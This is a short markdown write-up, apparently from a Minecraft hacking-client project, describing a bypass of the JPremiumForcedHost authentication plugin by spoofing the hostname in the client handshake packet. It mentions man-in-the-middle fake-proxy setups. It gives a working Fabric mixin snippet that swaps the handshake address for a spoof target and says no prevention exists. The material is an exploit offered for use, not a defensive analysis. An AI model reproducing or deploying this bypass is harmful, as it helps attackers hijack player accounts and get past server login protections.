JPremiumForcedHost.md

JPremiumForcedHost Bypass

ShowCase

YoutubeVideo

Overview

JPremiumForcedHost works on the same logic as velocity forced host. The handshake packet contains the hostname used to connect to the server. In a normal scenario, the hostname will be the same as what the client used to connect to the server. But, in a Man In the Middle(like MCPTool fake-proxy), attack where the hostname which the client is using to connect is different from the hostname in the config file.

Exploiting

Since this thing is entirely client sided, we can set it to any hostname, in case of a Man In the Middle attack, the proxy can send its own handshake with the correct hostname. Here is an implementation in a fabric MOD. You can also set it up in a BungeeCord bridge method.

@Inject(method = "<init>(ILjava/lang/String;ILnet/minecraft/network/packet/c2s/handshake/ConnectionIntent;)V", at = @At("RETURN"))
private void HandshakeC2SPacket(int i, String string, int j, ConnectionIntent connectionIntent, CallbackInfo ci) {
    BungeeSpoofMod bungeeSpoofMod = ParadiseClient_Fabric.getBungeeSpoofMod();

    if (bungeeSpoofMod.isBungeeTargetEnabled()) {
        this.address = bungeeSpoofMod.getBungeeTargetIP();
    }
}

Prevention

Since this is entirely client sided, there is no prevention.